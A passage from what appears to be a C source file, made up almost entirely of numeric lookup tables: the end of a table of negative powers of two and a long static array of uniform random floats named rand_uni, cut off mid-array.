0.000030517578125, 0.000015258789063, 0.000007629394531,
0.000003814697266, 0.000001907348633, 0.000000953674316,
0.000000476837158, 0.000000238418579, 0.000000119209290,
0.000000059604645, 0.000000029802322, 0.000000014901161,
0.000000007450581, 0.000000003725290, 0.000000001862645,
0.000000000931323 };
static const float rand_uni[10000] = { -0.486240329978498f, -0.0886462298529236f, -0.140307596103306f, 0.301096597450952f, 0.0993171079928659f, 0.971751769763271f, 0.985173975730828f, 0.555993645184930f, 0.582088652691427f, -0.153377496651175f, 0.383610009058905f, -0.335724126391271f, 0.978768141636516f, -0.276250018648572f, 0.390075705739569f, -0.179022404038782f, 0.690083827115783f, -0.872530132490992f, -0.970585763293203f, -0.581476053441704f, -0.532614615674888f, -0.239699306693312f, -0.678183014035494f, 0.349502640932782f, -0.210469890686263f, 0.841262085391842f, -0.473585465151401f, 0.659383565443701f, -0.651160036945754f, -0.961043527561335f, -0.0814927639199137f, 0.621303110569702f, -0.784529166943541f, 0.0238464770757800f, 0.392694728594110f, 0.776848735202001f, 0.0870059709310509f, 0.880563655271790f, 0.883457036977564f, -0.249235082877382f, -0.691040749216870f, 0.578731120064320f, -0.973932858000832f, -0.117699105431720f, -0.723831748151088f, -0.483149657477524f, -0.821277691383664f, -0.459725618100875f, 0.148175952221864f, 0.444306875534854f, -0.325610376336498f, 0.544142311404910f, -0.165319440455435f, 0.136706800705517f, 0.543312481350682f, 0.467210959764607f, -0.349266618228534f, -0.660110730565862f, 0.910332331495431f, 0.961049802789367f, -0.786168905164629f, 0.305648402726554f, 0.510815258508885f, 0.0950733260984060f, 0.173750645487898f, 0.144488668408672f, 0.0190031984466126f, -0.299194577636724f, 0.302411647442273f, -0.730462524226212f, 0.688646006554796f, 0.134948379722118f, 0.533716723458894f, -0.00226300779660438f, -0.561340777806718f, 0.450396313744017f, -0.569445876566955f, 0.954155246557698f, -0.255403882430676f, -0.759820984120828f, -0.855279790307514f, -0.147352581758156f, -0.302269055643746f, -0.642038024364086f, -0.367405981107491f, 0.491844011712164f, -0.542191710121194f, -0.938294043323732f, 0.683979894338020f, 0.294728290855287f, 0.00662691839443919f, -0.931040350582855f, 0.152356209974418f, 0.678620860551457f, -0.534989269238408f, 0.932096367913226f, -0.0361062818028513f, -0.847189697149530f, -0.975903030160255f, 0.623293205784014f, -0.661289688031659f, 0.724486055119603f, 0.307504095172835f, 0.00739266163731767f, -0.393681596442097f, 0.0313739422974388f, 0.0768157689673350f, -0.652063346886817f, 0.864188030044388f, -0.588932092781034f, 0.496015896758580f, -0.872858269231211f, 0.978780599551039f, -0.504887732991147f, -0.462378791937628f, 0.0141726829338038f, 0.769610007653591f, 0.945233033188923f, -0.782235375325016f, -0.832206533738799f, 0.745634368088673f, -0.696969510157151f, -0.0674631869948374f, -0.123186450806584f, -0.359158959141949f, -0.393882649464391f, 0.441371446689899f, -0.829394270569736f, -0.301502651277431f, -0.996215501187289f, 0.934634037393066f, -0.282431114746289f, -0.927550795619590f, -0.437037530043415f, -0.360426812995980f, 0.949549724575862f, 0.502784616197919f, 0.800771681422909f, -0.511398929004089f, 0.309288504642554f, -0.207261227890933f, 0.930587995125773f, -0.777029876696670f, -0.489329175755640f, -0.134595132329858f, 0.285771358983518f, 0.182331373854387f, -0.544110494560697f, 0.278439882883985f, -0.556325158102182f, 0.579043806545889f, 0.134648133801916f, 0.602850725479294f, -0.151663563868883f, 0.180694361855878f, -0.651591295315595f, 0.281129147768056f, -0.580047306475484f, 0.687883075491433f, 0.279398670804288f, -0.853428128249503f, -0.532609367372680f, -0.821156786377917f, -0.181273229058573f, -0.983898569846882f, -0.0964374318311501f, 0.880923372124250f, 0.102643371392389f, 0.893615387135596f, -0.259276649383649f, 0.699287743639363f, 0.402940604635828f, -0.110721596226581f, 0.0846246472582877f, 0.820733021865405f, 0.795578903285308f, -0.495144122011537f, 0.273150029257472f, -0.268249949701437f, 0.231982193341980f, 0.694211299124074f, 0.859950868718233f, 0.959483382623794f, -0.422972626833543f, -0.109621798738360f, 0.433094703426531f, 0.694025903378851f, 0.374478987547435f, -0.293668545105608f, -0.396213864190828f, -0.0632095887099047f, -0.0285139536748673f, 0.831794132192390f, -0.548543088139238f, 0.791869201724680f, 0.325211484201845f, 0.155274810721772f, -0.112383643064821f, -0.674403070297721f, 0.642801068229810f, -0.615712048835242f, -0.322576771285566f, -0.409336818836595f, 0.548069973193770f, -0.386353709407947f, -0.0741664985357784f, 0.619639599324983f, -0.815703814931314f, 0.965550307223862f, 0.623407852683828f, -0.789634372832984f, 0.736750050047572f, -0.0269443926793700f, 0.00545706093721488f, -0.315712479832091f, -0.890110021644720f, -0.869390443173846f, -0.381538869981866f, -0.109498998005949f, 0.131433952330613f, -0.233452413139316f, 0.660289822785465f, 0.543381186340023f, -0.384712418750451f, -0.913477554164890f, 0.767102957655267f, -0.115129944521936f, -0.741161985822647f, -0.0604180020782450f, -0.819131535144059f, -0.409539679760029f, 0.574419252943637f, -0.0440704617157433f, 0.933173744590532f, 0.261360623390448f, -0.880290575543046f, 0.329806293425492f, 0.548915621667952f, 0.635187167795234f, -0.611034070318967f, 0.458196727901944f, 0.397377226781023f, 0.711941361933987f, 0.782147744383368f, -0.00300685339552631f, 0.384687233450957f, 0.810102466029521f, 0.452919847968424f, -0.183164257016897f, -0.755603185485427f, -0.604334477365858f, -0.786222413488860f, -0.434887500763099f, -0.678845635625581f, -0.381200370488331f, -0.582350534916068f, -0.0444427346996734f, 0.116237247526397f, -0.364680921206275f, -0.829395404347498f, -0.258574590032613f, -0.910082114298859f, 0.501356900925997f, 0.0295361922006900f, -0.471786618165219f, 0.536352925101547f, -0.316120662284464f, -0.168902841718737f, 0.970850119987976f, -0.813818666854395f, -0.0861183123848732f, 0.866784827877161f, 0.535966478165739f, -0.806958669103425f, -0.627307415616045f, -0.686618354673079f, 0.0239165685193152f, 0.525427699287402f, 0.834079334357391f, -0.527333932295852f, 0.130970034225907f, -0.790218350377199f, 0.399338640441987f, 0.133591886379939f, -0.181354311053254f, 0.420121912637914f, -0.625002202728601f, -0.293296669160307f, 0.0113819513424340f, -0.882382002895096f, -0.883750159690028f, 0.441583656876336f, -0.439054135454480f, 0.873049498123622f, 0.660844523562817f, 0.0104240153103699f, 0.611420248331623f, -0.235926309432748f, 0.207317724918460f, 0.884691834560657f, 0.128302402592277f, -0.283754448219060f, 0.237649901255856f, 0.610200763264703f, -0.625035441247926f, -0.964609592118695f, -0.323146562743113f, 0.961529402270719f, -0.793576233735450f, -0.843916713821003f, 0.314105102728384f, -0.204535560653294f, 0.753318789613803f, 0.160678386635821f, -0.647065919861379f, -0.202789866826280f, 0.648108234268198f, -0.261292621025902f, 0.156681828732770f, 0.405377351820066f, 0.228465381497500f, 0.972348516671163f, 0.288346037401522f, -0.0799068604307178f, 0.916939290109587f, -0.279220972402209f, -0.203447523864279f, -0.533640046855273f, 0.543561961674653f, 0.880711097286889f, -0.549683064687774f, 0.0130107219236368f, -0.554838164576024f, -0.379442406201385f, -0.00500104610043062f, 0.409530122826868f, -0.580423080726061f, 0.824555731914455f, -0.254134502966922f, 0.655609706875230f, 0.629093866184236f, -0.690033250889974f, -0.652346551677826f, 0.169820593515952f, 0.922459552232043f, 0.351812083539940f, 0.876342426613034f, -0.513486005850680f, -0.626382302780497f, -0.734690688861027f, 0.245594886018314f, -0.875740935105191f, -0.388580462918006f, 0.0127041754106421f, -0.0330962560066819f, -0.425003146474193f, 0.0281641353527495f, 0.261441358666622f, 0.949781327102773f, 0.919646340564270f, 0.504503377003781f, 0.0817071051871894f, 0.319968570729658f, 0.229065413577318f, -0.0512608414259468f, -0.0740848540944785f, -0.0974457038582892f, 0.532775710298005f, -0.492913317622840f, 0.492871078783642f, -0.289562388384881f, 0.229149968879593f, 0.697586903105899f, 0.900855243684925f, 0.969700445892771f, -0.618162745501349f, -0.533241431614228f, -0.937955908995453f, 0.886669636523452f, 0.498748076602594f, 0.974106016180519f, -0.199411214757595f, 0.725270392729083f, -0.0279932700005097f, -0.889385821767448f, -0.452211028905500f, -0.487216271217731f, -0.577105004471439f, 0.777405674160298f, 0.390121144627092f, -0.595062864225581f, -0.844712795815575f, -0.894819796738658f, 0.0556635002662202f, 0.200767245646242f, 0.481227096067452f, -0.0854169009474664f, 0.524532943920022f, -0.880292014538901f, -0.127923833629789f, -0.929275628802356f, 0.233276357260949f, -0.776272194935070f, 0.953325886548014f, -0.884399921036004f, -0.504227548828417f, -0.546526107689276f, 0.852622421886067f, 0.947722695551154f, -0.668635552599119f, 0.768739709906834f, 0.830755876586102f, -0.720579994994166f, 0.761613532216491f, 0.340510345777526f, 0.335046764810816f, 0.490102926886310f, -0.568989013749608f, -0.296018470377601f, 0.979838924243657f, 0.624231653632879f, 0.553904401851075f, -0.355359451941014f, 0.267623165480721f, 0.985914275634075f, -0.741887849211797f, 0.560479100333108f, -0.602590162007993f, -0.874870765077352f, -0.0306218773384892f, 0.963145768131215f, 0.544824028787036f, -0.133990816021791f, 0.0679964588712787f, -0.156401335214901f, -0.0802554171832672f, 0.856386218492912f, 0.143013580527942f, 0.403921859374840f, -0.179029058044097f, 0.770723540077919f, -0.183650969350452f, -0.340718434629824f, 0.217166124261387f, -0.171159949445977f, 0.127493767348173f, -0.649649349141405f, -0.0986978180993434f, 0.301786606637125f, 0.942172200207855f, 0.0323236270151113f, -0.579853744301016f, -0.964413060851558f, 0.917535782777861f, 0.442144649483292f, -0.684960854610878f, -0.418908715566712f, 0.617844265088789f, 0.897145578082386f, 0.235463167636481f, 0.0166312355859484f, 0.948331447443040f, -0.961085640409103f, -0.0386086809179784f, -0.949138997977665f, 0.738211385880427f, 0.613757309091864f, -0.606937832993426f, 0.825253298062192f, 0.932609757667859f, -0.169023247637751f, -0.411237965787391f, 0.550590803600950f, -0.0561729280137304f, -0.559663108323671f, -0.718592671237337f, 0.885889621415361f, -0.364207826334344f, -0.839614660327507f, 0.265502694339344f, 0.394329270534417f, -0.270184577808578f, -0.865353487778069f, -0.528848754655393f, -0.179961524561963f, 0.571721065613544f, -0.774363220756696f, 0.251123315200792f, -0.217722762975159f, 0.0901359910328954f, -0.329445470667965f, 0.366410356722994f, -0.777512662632715f, 0.654844363477267f, -0.882409911562713f, -0.613612530795153f, -0.926517759636550f, 0.111572665207194f, 0.0729846382226607f, 0.789912813274098,
0.784452109264882f, -0.949766989295825f, 0.318378232675431f, 0.732077593075111f, 0.786829143208386f, -0.134682559823644f, 0.733164743374965f, 0.978410877665941f, 0.992008491438409f, -0.319064303035495f, 0.958430683602029f, 0.514518212363212f, 0.101876224417090f, 0.642655735778237f, -0.170746516901312f, 0.252352078365623f, -0.761327278132210f, 0.724119717129199f, 0.889374997869224f, -0.785987369200692f, -0.594670344572584f, 0.805192297495935f, -0.990523259595814f, 0.483998949026664f, 0.747350619254878f, -0.824845161088780f, 0.543009506581798f, -0.208778528683094f, -0.314149951901368f, 0.943576771177672f, -0.102633559170861f, -0.947663019606703f, -0.557033071578968f, 0.419150797499848f, 0.251214274356296f, 0.565717763755325f, 0.126676667925064f, -0.0213369479214840f, 0.342212953426240f, -0.288015274572288f, 0.121313363277304f, 0.452832374494206f, 0.545420403121955f, -0.616024063400938f, -0.0320352392995826f, -0.400581850938279f, 0.0642433474653812f, -0.673966224453150f, 0.951962939602010f, -0.241906012952983f, 0.0322060960995099f, -0.449185553826233f, -0.709575766146540f, 0.0283340814242898f, 0.234237103593580f, -0.285526615094797f, -0.793192668153991f, -0.437130485497140f, -0.956132143306919f, 0.601158367473616f, 0.238689691528783f, 0.173709925321432f, 0.437983847738997f, 0.397380645202102f, 0.432093344086237f, -0.0338869881121104f, -0.966303269542493f, 0.875351570183604f, -0.0584554089652962f, 0.294207497692552f, 0.200323088145182f, 0.826642387259759f, 0.284806025494260f, -0.00660991970522007f, 0.682493772727303f, -0.151980775670668f, 0.0470705546940635f, -0.236378427235531f, -0.844780853112247f, 0.134166207564174f, -0.586842667384924f, 0.0711866699414370f, 0.311698821368897f, -0.361229767252053f, 0.750924311039976f, 0.0764323989785694f, 0.898463708247144f, 0.398232179543916f, -0.515644913011399f, -0.189067061520362f, -0.567430593060929f, -0.641924269747436f, -0.0960378699625619f, -0.792054031692334f, 0.803891878854351f, -0.233518627249889f, -0.892523453249154f, 0.707550017996875f, -0.782288435525895f, -0.156166443894764f, -0.543737876329167f, 0.565637809380957f, -0.757689989749326f, -0.612543942167974f, -0.766327195073259f, 0.587626843767440f, -0.280769385897397f, -0.457487372245825f, 0.0862799426622438f, -0.616867284053547f, 0.121778903484808f, -0.451988651573766f, -0.618146087265495f, -0.285868777534354f, 0.108999472244014f, -0.620755183347358f, -0.268563184810196f, -0.721678169615489f, -0.146060198874409f, -0.661506858070617f, 0.901707853998409f, 0.222488776533930f, 0.679599685031679f, 0.974760448601209f, 0.535485953830496f, -0.562345697123585f, 0.369219363331071f, -0.0282801684694869f, -0.0734880727832297f, 0.733216287314358f, -0.514352095765627f, -0.850813063545195f, 0.642458447327163f, 0.118661521915783f, -0.907015526838341f, 0.789277766886329f, -0.719864125961721f, 0.274329068829509f, 0.830124687647056f, 0.719352367261587f, -0.821767317737384f, -0.840153496829227f, 0.650796781936517f, 0.381065387870166f, 0.341870564586224f, -0.00174423702285131f, -0.216348832349188f, 0.678010477635713f, -0.748695103596683f, -0.819659325555269f, 0.620922373008647f, 0.471659250504894f, 0.417848292160984f, -0.990577315445198f, -0.509842007818877f, 0.705761459091187f, 0.723072116074702f, -0.606476484252158f, -0.871593699865195f, -0.662059658667501f, -0.207267692377271f, -0.274706370444270f, 0.317047325063391f, 0.329780707114887f, -0.966325651181920f, -0.666131009799803f, 0.118609206658210f, 0.232960448350140f, -0.139134616436389f, -0.936412642687343f, -0.554985387484625f, -0.609914445911143f, -0.371023087262482f, -0.461044793696911f, 0.0277553171809701f, -0.241589304772568f, -0.990769995548029f, 0.114245771600061f, -0.924483328431436f, 0.237901450206836f, -0.615461633242452f, 0.201497106528945f, -0.599898812620374f, 0.982389910778332f, 0.125701388874024f, -0.892749115498369f, 0.513592673006880f, 0.229316745749793f, 0.422997355912517f, 0.150920221978738f, 0.447743452078441f, 0.366767059168664f, -0.605741985891581f, 0.274905013892524f, -0.861378867171578f, -0.731508622159258f, 0.171187057183023f, 0.250833501952177f, -0.609814068526718f, -0.639397597618127f, -0.712497631420166f, -0.539831932321101f, -0.962361328901384f, 0.799060001548069f, 0.618582550608426f, -0.603865594092701f, -0.750840334759883f, -0.432368099184739f, -0.581021252111797f, 0.134711953024238f, 0.331863889421602f, -0.172907726656169f, -0.435358718118896f, -0.689326993725649f, 0.415840315809038f, -0.333576262820904f, 0.279343777676723f, -0.0393098862927832f, 0.00852090010085194f, -0.853705195692250f, 0.526006696633762f, -0.478653377052437f, -0.584840261391485f, 0.679261003071696f, 0.0367484618219474f, -0.616340335633997f, -0.912843423145420f, -0.221248732289686f, -0.477921890680232f, -0.127369625511666f, 0.865190146410824f, 0.817916456258544f, 0.445973590438029f, -0.621435280140991f, -0.584264056171687f, 0.718712277931876f, -0.337835985469843f, 0.00569064504159345f, -0.546546294846311f, 0.101653624648361f, -0.795498735829364f, -0.249043531299132f, -0.112839395737321f, -0.350305425122331f, -0.910866368205041f, 0.345503177966105f, -0.549306515692918f, 0.711774722622726f, 0.283368922297518f, 0.0401988801224620f, 0.269228967910704f, 0.408165826013612f, -0.306571373865680f, 0.937429053394878f, 0.992154362395068f, 0.679431847774404f, 0.660561953302554f, 0.903254489326130f, -0.939312119455540f, -0.211194531611303f, 0.401554296146757f, -0.0373187111351370f, -0.209143098987164f, -0.483955198209448f, -0.860858509666882f, 0.847006442151417f, 0.287950263267018f, 0.408253171937961f, -0.720812569529331f, 0.623305171273525f, 0.543495760078790f, -0.364025150023839f, -0.893335585394842f, -0.757545415624741f, -0.525417020183382f, -0.985814550271000f, -0.571551008375522f, 0.930716377819686f, -0.272863385293023f, 0.982334910750391f, 0.297868844366342f, 0.922428080219044f, 0.917194773824871f, 0.846964493212884f, 0.0641834146212110f, 0.279768184306094f, 0.591959126556958f, 0.355630573995206f, 0.839818707895839f, 0.219674727597944f, -0.174518904670883f, 0.708669864813752f, -0.224562931791369f, 0.677232454840133f, -0.904826802486527f, -0.627559033402838f, 0.263680517444611f, 0.121902314059156f, -0.704881790282995f, 0.242825089229032f, -0.309373554231866f, -0.479824461459095f, -0.720536286348018f, -0.460418173937526f, 0.774174710513849f, 0.452001499049874f, -0.316992092650694f, 0.153064869645527f, -0.209558599627989f, 0.685508351648252f, -0.508615450383790f, 0.598109567185095f, 0.391177475074196f, 0.964444988755186f, 0.336277292954506f, -0.0367817159101076f, -0.668752640081528f, 0.169621732437504f, -0.440925495294537f, 0.352359477392856f, 0.300517139597811f, 0.464188724292127f, 0.342732840629593f, -0.772028689116952f, 0.523987886508557f, 0.920723209445309f, 0.325634245623597f, 0.999728757965472f, -0.108202444213629f, -0.703463061246440f, -0.764321104361266f, 0.153478091277821f, 0.400776808520781f, 0.0362608595686520f, 0.602660289034871f, -0.00396673312072204f, 0.296881393918662f, 0.563978362789779f, 0.849699999703012f, 0.699481370949461f, -0.517318771826836f, 0.488696839410786f, -0.863267084031406f, 0.0353144039838211f, 0.346060763700543f, 0.964270355001567f, 0.354899825242107f, 0.806313705199543f, 0.675286452110240f, 0.0873918818789949f, -0.595319879813140f, 0.768247284622921f, 0.424433552458434f, -0.308023836359512f, 0.802163480612923f, -0.348151008192881f, -0.889061130591849f, -0.593277042719599f, -0.669426232128590f, 0.758542808803890f, 0.515943031751579f, -0.359688459650311f, 0.568175936707751f, 0.741304023515212f, 0.260283681057109f, 0.957668849401749f, -0.665096753421305f, 0.769229664798946f, -0.0871019488695104f, -0.362662093346394f, -0.411439775739547f, 0.700347493632751f, 0.593221225653487f, 0.712841887456470f, 0.413663813878195f, -0.868002281057698f, -0.704419248587642f, 0.497097875881516f, -0.00234623694758684f, 0.690202361192435f, -0.850266199595343f, 0.315244026446767f, 0.709124123964306f, 0.438047076925768f, 0.798239617424585f, 0.330853072912708f, 0.581059745965701f, 0.449755612947191f, -0.462738032798907f, 0.607731925865227f, 0.0898348455002427f, -0.762827831849901f, 0.895598896497952f, -0.752254194382105f, -0.0916186048978613f, -0.906243795607547f, 0.229263971313788f, 0.401148319671400f, -0.699999035942240f, 0.949897297168705f, 0.442965954562621f, -0.836602533575693f, 0.960460356865877f, -0.588638958628591f, -0.826876652501322f, 0.358883606332526f, 0.963216314331105f, -0.932992215875777f, -0.790078242370583f, 0.402080896170037f, -0.0768348888017805f, 0.728030138891631f, -0.259252300581205f, -0.239039520569651f, -0.0343187629251645f, -0.500656851699075f, 0.213230170834557f, -0.806162554023268f, -0.346741158269134f, 0.593197383681288f, -0.874207905790597f, 0.396896283395687f, -0.899758892162590f, 0.645625478431829f, 0.724064646901595f, 0.505831437483414f, -0.592809028527107f, 0.191058921738261f, 0.329699861086760f, 0.637747614705911f, 0.228492417185859f, 0.350565075483143f, 0.495645634191973f, 0.0378873636406241f, -0.558682871042752f, -0.0463515226573312f, -0.699882077624744f, -0.727701564368345f, -0.185876979038391f, 0.969357227041006f, -0.0396554302826258f, 0.994123321254905f, -0.103700411263859f, -0.122414150286554f, -0.952967253268750f, -0.310113557790019f, 0.389885130024049f, 0.698109781822753f, -0.566884614177461f, -0.807731715569885f, 0.295459359747620f, 0.353911434620388f, -0.0365360121873806f, -0.433710246410727f, -0.112374658849445f, -0.710362620548396f, -0.750188568899340f, -0.421921409270312f, -0.0946825033112555f, -0.207114343395422f, -0.712346704375406f, -0.762905208265238f, 0.668705185793373f, 0.874811836887758f, 0.734155331047614f, 0.0717699959166771f, -0.649642655211151f, 0.710177200600726f, -0.790892796708330f, -0.609051316139055f, 0.158155751049403f, 0.273837117392194f, 0.101461674737037f, -0.341978434311156f, 0.358741707078855f, 0.415990974906378f, 0.760270133083538f, 0.164383469371383f, 0.559847879549422f, 0.209104118141764f, -0.265721227148806f, 0.165407943936551f, 0.611035396421350f, -0.626230501208063f, -0.116714293310250f, -0.696697517286888f, 0.0545261414014888f, 0.440139257477096f, 0.202311640602444f, -0.369311356303593f, 0.901884565342531f, 0.256026357399272f, -0.673699547202088f, 0.108550667621349f, -0.961092940829968f, -0.254802826645023f, 0.553897912330318f, 0.110751075533042f, -0.587445414043347f, 0.786722059164009,
0.182042556749386f, 0.398835909383655f, 0.431324012457533f, 0.587021142157922f, -0.644072183989352f, 0.187430090296218f, 0.516741122998546f, -0.275250933267487f, -0.933673413249875f, -0.767709448823879f, 0.00345814033609182f, -0.585884382069128f, 0.463549040471035f, 0.666537178805293f, -0.393605927315148f, -0.260156573858491f, -0.298799291489529f, -0.246398415746503f, 0.970774181159203f, -0.485708631308223f, -0.456571313115555f, -0.264210030877189f, -0.442583504871362f, 0.0585567697312368f, 0.955769232723545f, 0.651822742221258f, 0.667605490119116f, -0.178564750516287f, 0.744464599638885f, -0.0962758978504710f, -0.538627454923738f, -0.844634654117462f, 0.109151162611125f, -0.862255427201396f, -0.478955305843323f, 0.645965860697344f, 0.345569271369828f, 0.930605011671297f, -0.195523686135506f, 0.927940875293964f, 0.0529927450986318f, -0.537243314646225f, 0.0815400161801159f, -0.528889663721737f, -0.0803965087898244f, 0.722188412643543f, -0.115173100460772f, 0.391581967064874f, 0.609102624309301f, -0.726409099849031f, -0.924071529212721f, -0.424370859730340f, -0.932399086010354f, -0.679903916227243f, 0.398593637781810f, -0.395942610474455f, 0.911017267923838f, 0.830660098751580f, 0.485689056693942f, -0.634874052918746f, 0.558342102044082f, 0.153345477027740f, -0.418797532948752f, -0.962412446404476f, 0.499334884055701f, 0.772755578982235f, 0.486905718186221f, -0.680415982465391f, -0.983589696155766f, 0.0802707365440833f, -0.108186099494932f, 0.272227706025405f, 0.651170828846750f, -0.804713753056757f, 0.778076504684911f, 0.869094633196957f, -0.213764089899489f, -0.289485853647921f, -0.248376169846176f, -0.273907386272412f, -0.272735585352615f, -0.851779302143109f, 0.777935500545070f, 0.610526499062369f, -0.825926925832998f, -0.00122853287679647f, -0.250920102747366f, -0.0333860483260329f, 0.562878228390427f, 0.685359102189134f, 0.909722844787783f, -0.686791591637469f, 0.700018932525581f, -0.975597558640926f, 0.111273045778084f, 0.0313167229308478f, -0.185767397251192f, -0.587922465203314f, -0.569364866257444f, -0.433710470415537f, 0.744709870476354f, 0.812284989338678f, -0.835936210940005f, 0.409175739115410f, 0.364745324015946f, -0.526496413512530f, -0.0949041293633228f, -0.710914623019602f, -0.199035360261516f, 0.249903358254580f, 0.799197892184193f, -0.974131439735146f, -0.962913228246770f, -0.0584067290846062f, 0.0678080882131218f, 0.619989552612058f, 0.600692636138022f, -0.325324145536173f, 0.00758797937831957f, -0.133193608214778f, -0.312408219890363f, -0.0752971209304969f, 0.764751638735404f, 0.207290375565515f, -0.965680055629168f, 0.526346325957267f, 0.365879948128040f, -0.899713698342006f, 0.300806506284083f, 0.282047017067903f, -0.464418831301796f, -0.793644005532544f, -0.338781149582286f, 0.627059412508279f, -0.624056896643864f, -0.503708045945915f, 0.339203903916317f, -0.920899287490514f, -0.753331218450680f, -0.561190137775443f, 0.216431106588929f, -0.191601189620092f, 0.613179188721972f, 0.121381145781083f, -0.477139741951367f, 0.606347924649253f, 0.972409497819530f, 0.00419185232258634f, 0.786976564006247f, 0.716984027373809f, -0.577296880358192f, 0.336508364109364f, -0.837637061538727f, -0.706860533591818f, 0.655351330285695f, -0.799458036429467f, 0.804951754011505f, 0.405471126911303f, 0.485125485165526f, 0.0354103156047567f, 0.774748847269929f, 0.396581375869036f, 0.420464745452802f, -0.544531741676535f, -0.779088258182329f, -0.129534599431145f, 0.228882319223921f, 0.669504936432777f, -0.158954596495398f, -0.171927546721685f, 0.675107968066445f, -0.201470217862098f, -0.185894687796509f, 0.244174688826684f, 0.310288210346694f, -0.0674603586289346f, 0.138103839181198f, 0.269292861340219f, 0.121469813317732f, 0.168629748875041f, 0.581112629873687f, 0.499508530746584f, -0.741772433024897f, -0.311060071316150f, -0.263697352439521f, 0.180487383518774f, -0.800786488742242f, -0.949903966987338f, 0.134975524166410f, 0.213364683193138f, -0.684441197699222f, -0.254697287796379f, -0.260521050814253f, -0.757605554637199f, -0.134324873215927f, -0.699675596579060f, 0.136000646890289f, 0.355272520354523f, -0.712620797948690f, -0.729995036352282f, 0.323100037780915f, -0.718364487938777f, 0.807709622188084f, 0.289336059472722f, -0.558738026311145f, -0.591811756545896f, -0.894952978489225f, -0.354996929975694f, -0.142213103464027f, -0.651950180085633f, 0.182694586161578f, -0.193492058009904f, -0.540079537334588f, -0.300927433533712f, 0.119585035086049f, 0.895807833710939f, -0.413843745301811f, -0.209041322713332f, 0.808094803654324f, 0.0792829008489782f, 0.314806980452270f, 0.502591873175427f, -0.0474189387090473f, -0.407131047818007f, 0.797117088440354f, 0.902395237588928f, -0.783327055804990f, -0.591709085168646f, 0.628191184754911f, -0.454649879692076f, -0.588819444306752f, 0.250889716959370f, -0.582306627010669f, -0.145495766591841f, -0.634137346823528f, 0.667934845545285f, 0.873756470938530f, 0.425969845715827f, -0.779543910541245f, -0.265210219994391f, 0.781530681845886f, 0.304461599274577f, 0.211087853085430f, 0.281022407596766f, 0.0701313665097776f, 0.342337400087349f, -0.0618264046031387f, 0.177147380816613f, 0.751693209867024f, -0.279073264607508f, 0.740459307255654f, -0.352163564204507f, -0.726238685136937f, -0.565819729501492f, -0.779416133306559f, -0.783925450697670f, 0.542612245021260f, -0.810510148278478f, -0.693707081804938f, 0.918862988543900f, -0.368717045271828f, 0.0654919784331340f, -0.438514219239944f, -0.923935138084824f, 0.913316783811291f, -0.961646539574340f, 0.734888382653474f, -0.464102713631586f, -0.896154678819649f, 0.349856565392685f, 0.646610836502422f, -0.104378701809970f, 0.347319102015858f, -0.263947819351090f, 0.343722186197186f, 0.825747554146473f, 0.0661865525544676f, 0.918864908112419f, -0.999160312662909f, -0.904953244747070f, 0.246613032125664f, 0.123426960800262f, -0.294364203503845f, -0.150056966431615f, 0.904179479721301f, 0.517721252782648f, 0.661473373608678f, -0.784276966825964f, -0.984631287069650f, 0.239695484607744f, -0.499150590123099f, 0.00153518224500027f, -0.817955534401114f, 0.221240310713583f, 0.114442325207070f, -0.717650856748245f, -0.722902799253535f, -0.962998380704103f, 0.214092155997873f, -0.226370691123970f, 0.536806140446569f, 0.111745807092858f, 0.657580594136395f, -0.239950592200226f, 0.0981270621736083f, -0.173398466414235f, 0.414811672195735f, 0.147604904291238f, -0.649219724907210f, 0.907797399703411f, -0.496097071857490f, -0.0958082520749422f, -0.700618145301611f, 0.238049932994406f, 0.946616020659334f, 0.143538494511824f, 0.0641076718667677f, 0.377873848622552f, -0.413854028741624f, -0.838831021130186f, 0.0208044297354626f, 0.476712667979210f, 0.850908020233298f, 0.0692454021020814f, 0.841788714865238f, -0.251777041865926f, 0.512215668857165f, 0.827988589806208f, -0.399200428030715f, 0.999219950547600f, -0.00465542086542259f, 0.279790771964531f, -0.683125623289052f, 0.988128867315143f, 0.00697090775456410f, -0.409501680375786f, -0.190812202162744f, -0.154565639467601f, 0.305734586628079f, -0.922825484202279f, -0.0622811516391562f, -0.502492855870975f, 0.358550513844403f, 0.678271216185703f, -0.940222215291861f, 0.568581934651071f, 0.953835466578938f, -0.476569789986603f, 0.0141049472573418f, 0.722262461730185f, -0.128913572076972f, -0.583948340870808f, -0.254358587904773f, -0.390569309413304f, -0.0495119137883056f, -0.486356443935695f, -0.112768011009410f, -0.608763417511343f, -0.145843822867367f, 0.767829603838659f, 0.791239479733126f, 0.0208376062066382f, -0.524291005204912f, -0.200159553848628f, -0.835647719235620f, -0.222774380961612f, 0.0617292533934060f, 0.233433696650208f, -0.543969878951657f, -0.628168009147650f, -0.725602523060817f, -0.273904472034828f, 0.320527317085229f, -0.556961185821848f, 0.261533413201255f, 0.696617398495973f, 0.200506775746016f, -0.395581923906907f, 0.0196423782530712f, -0.0552577396777472f, -0.594078139517501f, -0.816132673139052f, -0.898431571909616f, 0.879105843430143f, 0.949666380003024f, -0.245578843355682f, 0.528960018663897f, 0.201586039072583f, -0.651684706542954f, 0.596063456431086f, -0.659712784781056f, -0.213702651629353f, -0.629790163054887f, -0.0572029778771013f, 0.645291034768991f, -0.453266855343461f, -0.581253959024410f, 0.632682730071992f, 0.991406037765467f, 0.701390336150136f, -0.879037255220971f, -0.304180069776406f, 0.0969095808767941f, -0.465682778651712f, 0.815108046274786f, -0.532850846043973f, 0.950550134670033f, 0.296008118726089f, -0.198390447541329f, 0.159049143352201f, 0.105169964332594f, -0.482506131358523f, 0.493753482281684f, 0.292058685647414f, 0.283730532860951f, 0.00323819209092657f, 0.765838273699203f, -0.0753176377562099f, -0.679824808630431f, 0.548180003463159f, -0.996048798712591f, 0.782768288046545f, 0.396509190560532f, 0.848686742379558f, 0.750049741585178f, 0.730186188655936f, -0.0220701180542726f, -0.487618042364281f, -0.403562199756249f, -0.0693129490117646f, 0.947019452953246f, -0.731947366410442f, 0.198175872470120f, -0.329413252854837f, -0.641319161749268f, 0.186271826190842f, -0.0739989831663739f, -0.334046268448298f, -0.191676071751509f, -0.632573515889708f, -0.999115061914042f, -0.677989795015932f, 0.289828136337821f, 0.696081747094487f, 0.965765319961706f, -0.203649463803737f, -0.195384468978610f, 0.746979659338745f, 0.701651229142588f, -0.498361303522421f, 0.289120104962302f, 0.270493509228559f, -0.132329670835432f, 0.385545665843914f, -0.265371843427444f, 0.306155119003788f, -0.859790373316264f, -0.0198057838521546f, 0.233572324299025f, 0.426354273793125f, -0.510901479579029f, -0.600001464460011f, -0.972316846268671f, 0.531678082677910f, -0.0543913028234813f, -0.860333915321655f, 0.0717414549918496f, -0.992726205437930f, 0.587189647572868f, 